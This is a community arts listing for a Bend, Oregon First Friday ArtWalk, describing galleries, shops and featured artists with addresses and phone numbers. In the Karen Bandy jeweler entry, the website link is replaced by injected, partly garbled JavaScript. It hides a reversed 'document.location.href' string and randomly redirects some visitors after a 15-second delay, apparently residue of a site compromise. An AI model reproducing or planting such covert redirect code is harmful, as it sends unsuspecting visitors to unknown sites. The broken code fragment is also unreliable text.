First Friday September 6



1. Atelier 6000 541-330-8759 2. Desperado 541-749-9980 3. Franklin Crossing 541-382-9398 4. Karen Bandy Studio 541-388-0155 5. Lubbesmeyer Studio 541-330-0840 6. Red Chair Gallery  541-306-3176 7. Sage Custom Framing 541-382-5884 8. The Oxford 877-440-8436 9. Tumalo Art Co. 541-385-9144  (Interested in getting on the ArtWalk map? Ask us how!)

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Alleda Real Estate
25 NW Minnesota Ave., Ste. 1, 541-633-7590, www.alledarealestate.com.
Local Bend artist Margi Legowik has created a suite of work she calls Tuscan Spring which is the result of a month in Italy and Spain this year.


Art in the Atrium at Franklin Crossing
550 NW Franklin Ave.
Portland artists Gregory Grenon and Mary Josephson whose work appears courtesy of the artists and the Laura Russo Gallery.
From Detroit, Michigan and auto industry jobs, Grenon moved to Chicago, learned about color at Landfall Press and committed to be a painter.  In Portland painting art “focused on the face of woman,” his noted career now includes a National Endowment for the Art Fellowship, work in the Portland and Seattle Art Museum and numerous prestigious collections.
Josephson, part of a military family of frequent moves, learned early to “read people below the surface,” and that life is not always as it seems. She notes that “a love of color and form permeated my life from earliest memory,” and now fills her richly painted canvases with stories of human life and the valor of daily existence.  
Noi Thai serves wine and appetizers with the Tommy Leroy Trio performing jazz. Billye Turner, art consultant, 541-382-9398, organizes Franklin Crossing exhibitions.


Atelier 6000
389 SW Scalehouse Ct., Suite 120, 541-330-8759, www.atelier6000.com.
Icons of the Pacific Northwest thru September. Finding inspiration in the intersections where sea runs into forest, mountains meet desert and culture create structure, invited artists express their interpretation of icons of the Pacific Northwest.
Pacific Northwest artists explore the natural beauty, culture, wildlife and spirit of their region. Artists include Audrey Desler, Barbara Mason, Barbara Tetenbaum, Bryn Harding, Christy Wyckoff, Clare Carpenter, Diane Divelbess, Elizabeth Dove, Jane Pagliarulo, James B. Thompson, Jeffrey Baker, Jill Fitterer, Kris Ekstrand Molesworth, Patricia Clark, Martha Pfanschmidt, Mary Farrell, Sarah Horowitz and Sandy Anderson.


Azillion Beads
910 Harriman St., #100, 541-617-8854.
Larissa Stafford, featured bead artist.


Bend Brewing Company
1019 NW Brooks St., 541-383-1599, www.bendbrewingco.com.
Showcasing art by Rick Kispert.


Bend d’Vine
916 NW Wall St., Bend, 541-323-3277, www.benddvine.com.
Featuring Beverly Adler (fiber art) and Teri Shamlian (Glass art).


Bend Premier Real Estate
550 NW Franklin Ave., 541-323-2779.
Painter, illustrator, graphic artist and musician Stephen Michael McCombs along with his wife Judy, now divide their time between Bend and San Jose del Cabo, Mexico. McCombs’ work has been characterized as contemporary western in the broadest sense, capturing images of our rich Western culture in oil glazes against a background of expressionistic gesture and contemporary geometric shapes. His art reflects the deep diversity that has made up his life.  


Bluebird Coffee Company
On Bond in Franklin Crossing Building (corner of Franklin and Bond), 541-330-2100.
New work by local artist, Darryl Cox, who constructs bas relief sculptures of wood, combining highly refined material with raw, energetic elements from nature. Like Trevi Fountain, the natural elements grow seamlessly out of the surrounding edifice, creating a powerful, dream-like structure forever frozen in suspension.

Cowgirl Cash
924 NW Brooks St., 541-678-5162.
Featuring 10 years of BendFilm posters and art by Euijin Gray.


Crow’s Feet Commons
875 NW Brooks St., 541-728-0066, www.facebook.com/CrowsFeetCommons.
A not-so-forgotten but recently rejuvenated part of “old town” Bend’s rich history.


Desperado Contemporary & Nostalgic Western Store
330 SW Powerhouse, Old Mill District. 541-749-9980.
Featuring Bend artist Barbara Slater who is inspired by the “out west” way of life and cowboy culture with a touch of city glitz. Painting oils with energy and spirit, this artist’s pigmentation is rich and succulent, while her brushwork is bold and responsive. Barbara continues her studies with different genres, painting still-lifes, florals, landscapes and animals. Animals are her present focus with images of vibrant roosters, horses, cows and other barnyard residents. Painting these rural inhabitants with love and respect, Barbara gives each animal an attitude and personality. Slater is a member of Oil Painters of America, California Art Club, American Women Artists (AWA) and The High Desert Art League. www.barbaraslater.com.


Feather’s Edge Finery
113 NW Minnesota Ave., 541-306-3162, www.thefeathersedge.com.
Featuring jewelry artist Deb Gregoire of Bend.


Glenroe Antiques
841 Bond St., 541-385-8858.
Ann Hollenberg’s goal is for each of her paintings to capture the essence of her subject and to create a painting that gives the viewer pleasure.


High Desert Frameworks!
61 NW Oregon Ave., Ste. 101, 541-647-2191, www.highdesertframeworks.com.
Featuring artist Grace Bishko, oils and wash on rice paper.


Jeffrey Murray Photography
118 NW Minnesota Ave. 925-389-0610, www.jeffreymurrayphotography.com.
Landscape photography by Bend photographer Jeffrey Murray, from local and national locations.


John Paul Designs Custom Jewelry + Signature Series
1006 NW Bond St., www.johnpauldesigns.com.
Specializing in unique, one of a kind wedding and engagement rings in a variety of metals.


Karen Bandy Design Jeweler
25 NW Minnesota Ave., Ste. 5, 541-388-0155, =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andy.com” target=”_blank”>www.karenbandy.com.
Tucked between Thump coffee and Alleda Real Estate, Karen Bandy is not easy to find, but well worth the effort. This month featuring Field Guide and Cocktail Earrings.
Karen is Central Oregon’s only national/international award-winning jewelry designer and has been specializing in custom design in downtown Bend since 1987. Her designs are bold, fun and always very wearable. Karen Bandy is also an abstract acrylic painter whose work can best be described as colorful and textural contemporary fine art. When there is an actual subject, horses and wild animals are often depicted. Open Tuesday, Wednesday and Thursday, 11:30-5pm and by appointment, and First Fridays 5-9pm.


Lubbesmeyer Studio & Gallery
Old Mill District, Second Story Loft, 541-330-0840, www.lubbesmeyer.com.
The Lubbesmeyer twins offer a range of work created in fiber and paint. Through the twins’ collaborative process, they distill literal imagery into vivid blocks of color and texture, creating an abstracted view of their surroundings. The working studio and gallery is open Tuesday through Saturday, and the Lubbesmeyers welcome your visit.


LuLu’s Boutique
150 Minnesota Ave. in downtown Bend.
Featuring local artists Linda Lee Miller and Su Skjersaa Lukinbeal through December. Art representing women’s lives, fashions and their inner and outer experiences will be represented in abstract and impressionistic mixed media images. This art exhibit will change monthly with thematic variations. Miller and Skjersaa Lukinbeal showcase several paintings focusing on water, the mythological symbol of woman and the recognition of its elemental, vital nature.


Mary Medrano Gallery
25 NW Minnesota Ave., Ste. 12 (above Thump Coffee), 408-250-2732, www.marymedrano.com.
Mary Medrano is a full-time artist living and working in Bend with a studio downtown overlooking Tin Pan Alley. She makes pet portraits and expressive animal paintings.


Mockingbird Gallery
869 NW Wall St., 541-388-2107, www.mockingbird-gallery.com.
Listen to the jazz stylings of Rich Hurdle and Friends and enjoy an evening of sensational art. Animal Impressions – two person show – Mick Doellinger and Lindsay Scott.
Both Doellinger and Scott have always been drawn to animals, and they both share a passion for Africa. The two artists also share a concern for conservation of wildlife worldwide. Doellinger’s loose, impressionistic style is in stark contrast to Scott’s detailed paintings and drawings, but they complement one another very well.  


Nature of Words
224 NW Oregon Ave., 541-647-2233, www.thenatureofwords.org.
Portland poet Margaret Chula will read from her latest poetry collections. Participants will have an opportunity to learn about and experiment with Haiku and Tanka forms of poetry.  


Patagonia @ Bend
1000 NW Wall St., Suite 101, 541-382-6694, http://patagoniabend.com
Photography by Mike Putnam. www.mikeputnamphoto.com.


Pavé Fine Jewelry
101 NW Minnesota Ave., 541-322-0500, www.pavebend.com.
Featuring Brad Goldpaint’s landscape astrophotography ranging from fine-art imagery of high altitude wilderness areas to time-lapse videos of the night sky. Pavé will host the Assistance League of Bend, selling smoked salmon to raise money as well as donating a portion of sales from that day towards Operation School Bell.


Paul Scott Gallery
869 NW Wall Street, Ste. 104, 541-330-6000, www.paulscottfineart.com.
New works by guest artist, Thomas Anderson thru September. Anderson’s art work is defined by simple geometric structures overlaying complex patinas, washes and applications. His creative use of metals, enamel paint and acid washes results in unique and powerful compositions in the abstract expressionist style.


Peapod Glass Gallery
164 NW Greenwood Ave., 541-771-0690, www.peapodglass.com.
Presenting Local Drawing Artist Megan Clark & jamming with central oregon band Quark


926 NE Greenwood Ave. 541-728-0527.
Recent works by past Featured Quilters, a collection of master quilters, masterpieces! Thru October 2.


Red Chair Gallery
103 NW Oregon Ave. in the historic O’Kane building, 541-306-3176, www.redchairgallerybend.com.
Of The Earth and Sky features Helen Bommarito, Joren Traveler and Sue Lyon-Manley. Bommarito’s pottery is mainly functional stoneware; hand built, wheel thrown, or a combination of both. It is inspired by Japanese art, childhood imaginings of space travel or Art Nouveau. She also creates earrings, necklaces and bracelets using a variety of natural stones, pearls, crystals and sterling silver.  
Traveler is a bronze sculptor working in oil based clay and wax with the use of armature to create her sculptures. Producing in bronze allows for delicate but strong projections or limbs. She has recently added water based clay ceramics which she feels gives her more control over the final finish and allows for more use of color thru glazes or cold patina. Lyon-Manley’s work is primarily inspired by the landscape surrounding her, from the beauty of the high lakes and mountains of the Cascades to her travel abroad. Working in rich colors using impressionistic tones, her latest collection of work includes plein air painting done on site, as well as work influenced by her environment finished with abstract consciousness.


Sage Custom Framing & Gallery Exhibits
834 NW Brooks St., 541-382-5884, www.sageframing-gallery.com.
Rachel Fox thru September. Saying that Fox is a multimedia artist does not begin to cover the scope of what she creates. Her work includes water media, printmaking, fiber arts, paper and book arts, pattern making and collage. Acquiring a wide range of materials is part of the process. Various papers, fabric, found objects, media, techniques and ideas are incorporated into Fox’s work. Each composition evolves through the process of building layers. Each element finds its way into the piece because of it’s unique shape, color, texture or nostalgic reference. Designs develop through conscious thought or intuitive placement, or both.


1001 Wall St., 541-322-8792, www.silveradogallery.com.
Joseph Christensen of JC Lapidary. Oregon artist handcrafting beautiful jewelry featuring many stones from the northwest.


The Silver Otter
706 SW Industrial Way, Suite 100, Bend. 541-241-7818. www.thesilverotter.com.
Exhibiting a collection of locally made art and handmade crafts from all over the world.


Tower Theatre
835 NW Wall St., Bend, 541-317-0700, www.towertheatre.org.
Free Spamalot Sneak Peek First at 6pm. The cast and crew will share songs, scenes and dance numbers from the show.


Townshend’s Bend Teahouse
835 NW Bond St., Bend, 541-312-2001.
Exploring and embracing one’s inner child is an enchanting process. When creating art, Taylor Rose often looks to this source for inspiration. As a child, Rose adored all that was silly, admiring the cartoons and characters that filled the pages of the books she read and screened. It was these characters and environments that brought about Rose’s earliest desires to become an artist, and is celebrated in her artwork today. Rose constantly rediscovers her inner child to portray a world that beautifies silliness and embraces the imagination process in her exhibition Memory Catchers.


Tumalo Art Company
Old Mill District, 450 SW Powerhouse Dr.. Ste. 407, 541-385-9144, www.tumaloartco.com.
Ingrid Lustig and Kathy Deggendorfer present new work. Lustig’s current paintings of hawks, owls and wolves take a new step into abstraction. She paints loosely and quickly on paper and wood panels, using accidents and instant inspirations to build up layers and create relationships between color, strokes, shapes and the image itself. Ingrid’s multi-media works blend the natural world with iconic images and marks. New original work for this show reflects Deggendorfer’s life over the last six months. Subject matter skitters between Portland cityscapes and Central Oregon campfires. Known for her watercolors she is now recreating her images in tile. She says, “I’m also excited to share my tile work… A new medium for my big, bright, graphic style that can hold up outside and inside even in the sunniest locations.”


Velvet Lounge
805 NW Wall St., 541-728-0303, www.velvetbend.com.
Giving Up the Ghost by Megan McGuiness during September. McGuinness grew up in lush Portland and made her way to beautiful Bend in 2009. She trained with Margarita Leon and Mark Bornowski at their studio in northwest Portland. Her love of nature propelled her to pursue environmental studies at Portland State University. She’s inspired by Bend’s whimsical nature and the flowing symbology of life. She enjoys creating things that are ethereal, light and fun.

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